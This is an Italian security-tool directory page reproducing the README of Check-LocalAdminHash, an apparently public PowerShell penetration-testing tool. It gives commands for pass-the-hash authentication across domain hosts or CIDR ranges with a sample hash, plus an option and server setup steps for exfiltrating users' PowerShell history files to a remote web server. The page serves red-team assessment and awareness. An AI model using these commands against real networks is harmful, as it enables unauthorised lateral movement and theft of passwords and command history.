Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Check-LocalAdminHash — Check-LocalAdminHash è uno strumento PowerShell che tenta di autenticarsi su più host tramite WMI o SMB utilizzando un hash di password per determinare se la credenziale fornita è un amministratore locale. È utile se si ottiene un hash di password per un utente e si desidera vedere dove è amministratore locale su una rete. È essenzialmente un Frankenstein di due dei miei strumenti preferiti insieme ad alcuni codici personali. Utilizza il progetto Invoke-TheHash di Kevin Robertson (@kevin_robertson) per la parte di controllo delle credenziali. Inoltre, lo script utilizza moduli di PowerView di Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) per enumerare i computer del dominio e trovare obiettivi su cui testare l'accesso amministrativo. | Kitploit
Strumenti/GitHubGitHub/dafthack/check-localadminhash
Escalation di PrivilegiAttacchi alle PasswordMovimento LateraleRaccolta InformazioniPenetration Testing
GitHubdafthack/check-localadminhash

Check-LocalAdminHash

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

178347 anni faRevisionato da Kitploit

Check-LocalAdminHash è uno strumento PowerShell che tenta di autenticarsi su più host tramite WMI o SMB utilizzando un hash di password per determinare se la credenziale fornita è un amministratore locale. È utile se si ottiene un hash di password per un utente e si desidera vedere dove è amministratore locale su una rete. È essenzialmente un Frankenstein di due dei miei strumenti preferiti insieme ad alcuni codici personali. Utilizza il progetto Invoke-TheHash di Kevin Robertson (@kevin_robertson) per la parte di controllo delle credenziali. Inoltre, lo script utilizza moduli di PowerView di Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) per enumerare i computer del dominio e trovare obiettivi su cui testare l'accesso amministrativo.

Condividi

Check-LocalAdminHash

Check-LocalAdminHash è uno strumento PowerShell che tenta di autenticarsi su più host tramite WMI o SMB utilizzando un hash della password per determinare se la credenziale fornita è un amministratore locale. È utile se si ottiene un hash della password per un utente e si vuole vedere dove è amministratore locale su una rete. È essenzialmente un Frankenstein di due dei miei strumenti preferiti insieme a un po' di codice mio. Utilizza il progetto Invoke-TheHash di Kevin Robertson (@kevin_robertson) per la parte di verifica delle credenziali. Inoltre, lo script utilizza moduli da PowerView di Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) per enumerare i computer del dominio e trovare i target su cui testare l'accesso amministrativo.

alt text

La ragione per cui questo script esiste è che durante un assessment volevo raccogliere tutti i file della cronologia della console PowerShell (PSReadline) da ogni sistema della rete. La cronologia della console PSReadline è essenzialmente la versione PowerShell della cronologia di bash. Può includere molte cose interessanti che le persone digitano nei loro terminali, incluse le password. Quindi, in questo script è inclusa un'opzione per esfiltrare anche tutti i file PSReadline. C'è un po' di configurazione per questo. Vedi la fine del Readme per la configurazione.

Per maggiori informazioni leggi il blog qui: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

Esempi

Verifica dell'hash di amministratore locale su tutti gli host tramite WMI

Questo comando utilizzerà il dominio 'testdomain.local' per cercare tutti i sistemi e poi tentare di autenticarsi su ciascuno usando l'utente 'testdomain.local\PossibleAdminUser' e un hash della password tramite WMI.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

Esfiltrare tutti i file della cronologia della console PSReadline

Questo comando utilizzerà il dominio 'testdomain.local' per cercare tutti i sistemi e poi tentare di autenticarsi su ciascuno usando l'utente 'testdomain.local\PossibleAdminUser' e un hash della password tramite WMI. Successivamente, tenta di individuare i file della cronologia della console PowerShell (PSReadline) per ogni profilo su ogni sistema e li invia tramite POST a un server web. Vedi la parte inferiore del Readme per la configurazione del server.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

Utilizzo di un intervallo CIDR

Questo comando utilizzerà l'intervallo CIDR fornito per generare un elenco di target e poi tenterà di autenticarsi su ciascuno usando l'utente locale 'PossibleAdminUser' e un hash della password tramite WMI.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

Utilizzo di un elenco di target e SMB con output su file

Questo comando utilizzerà la lista di target fornita e tenterà di autenticarsi su ogni host usando l'utente locale 'PossibleAdminUser' e un hash della password tramite SMB.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

Singolo target

Questo comando tenta di eseguire un'autenticazione locale per l'utente Administrator sul sistema 192.168.0.16 tramite SMB.

root@kitploit:~
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Opzioni di Check-LocalAdminHash

root@kitploit:~
Username - Nome utente per tentare l'autenticazione.
PasswordHash - Hash della password dell'utente.
TargetSystem - Singolo hostname o IP per il tentativo di autenticazione.
TargetList - Elenco di host da scansionare, uno per riga.
AllSystems - Opzione che, quando abilitata, utilizza i moduli PowerView per enumerare tutti i sistemi del dominio. Questo elenco viene poi utilizzato per verificare l'accesso amministrativo locale.
Domain - Dominio che PowerView utilizzerà per scoprire i sistemi.
UserDomain - Dominio dell'utente per autenticarsi a ciascun sistema. Non usare questo flag se si usa un credenziale locale anziché di dominio.
Protocol - Impostazione per verificare l'hash tramite WMI o SMB. Il valore predefinito è 'WMI', ma impostarlo su 'SMB' per verificare tramite SMB.
CIDR - Specificare un intervallo di rete in forma CIDR, ad esempio 192.168.0.0/24.
Threads - Il valore predefinito è 5 thread. (Ho riscontrato alcuni problemi strani impostando i thread a più di 15, con alcuni risultati che non tornano.)
ExfilPSReadline - Per ogni sistema in cui l'autenticazione ha successo, viene eseguito un comando PowerShell per individuare i file della cronologia della console PSReadLine (cronologia dei comandi PowerShell) e quindi inviarli tramite POST a un server web. Vedi il Readme per la configurazione del server.

Configurazione dell'esfiltrazione PSReadline

Questo è il tuo avviso che stai per configurare un server esposto a Internet che accetterà caricamenti di file. Di solito, questa è una cosa molto negativa da fare. Quindi prendi sicuramente precauzioni quando lo fai. Raccomanderei di bloccare le regole del firewall in modo che solo l'IP che caricherà i file PSReadline possa raggiungere il server web. Inoltre, già che parliamo di sicurezza, funzionerà perfettamente con una connessione HTTPS, quindi configura il tuo dominio e il certificato in modo che i file PSReadline vengano inviati criptati attraverso la rete. Sei stato avvisato...

  • Configura un server dove desideri che i file vengano inviati. Questo server deve essere raggiungibile tramite HTTP/HTTPS da ogni sistema.

  • Copia lo script index.php da questo repository e mettilo in /index.php nella root web (/var/www/html) sul tuo server web.

  • Crea una directory uploads

mkdir /var/www/html/uploads

  • Modifica i permessi di questa directory

chmod 0777 /var/www/html/uploads

  • Assicurati che php sia installato

apt-get install php

  • Riavvia Apache

service apache2 restart

  • Nello script Check-LocalAdminHash.ps1 stesso, scorri fino alla funzione "Gen-EncodedUploadScript" e modifica la variabile "$Url" subito sotto "$UnencodedCommand". Punta alla pagina index.php del tuo server web. Non ho ancora capito come passare la variabile UploadUrl a quella sezione del codice che finisce per essere codificata ed eseguita sui sistemi target, quindi per ora impostala manualmente.

Ora quando esegui Check-LocalAdminHash con il flag -ExfilPSReadline, dovrebbe tentare di inviare tramite POST ogni file PSReadline (se presente) al tuo server web.

alt text

Crediti

Check-LocalAdminHash è praticamente un Frankenstein di due dei miei strumenti preferiti, PowerView e Invoke-TheHash. Il 95% del codice proviene da questi due strumenti. Quindi il merito va a Kevin Robertson (@kevin_robertson) per Invoke-TheHash, e il merito va a Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (e chiunque altro abbia lavorato su PowerView). Senza questi due strumenti questo script non esisterebbe. Un ringraziamento anche a Steve Borosh (@424f424f) per l'aiuto con il threading e per essere semplicemente un tipo fantastico.

Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash

PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

Scarica lo strumento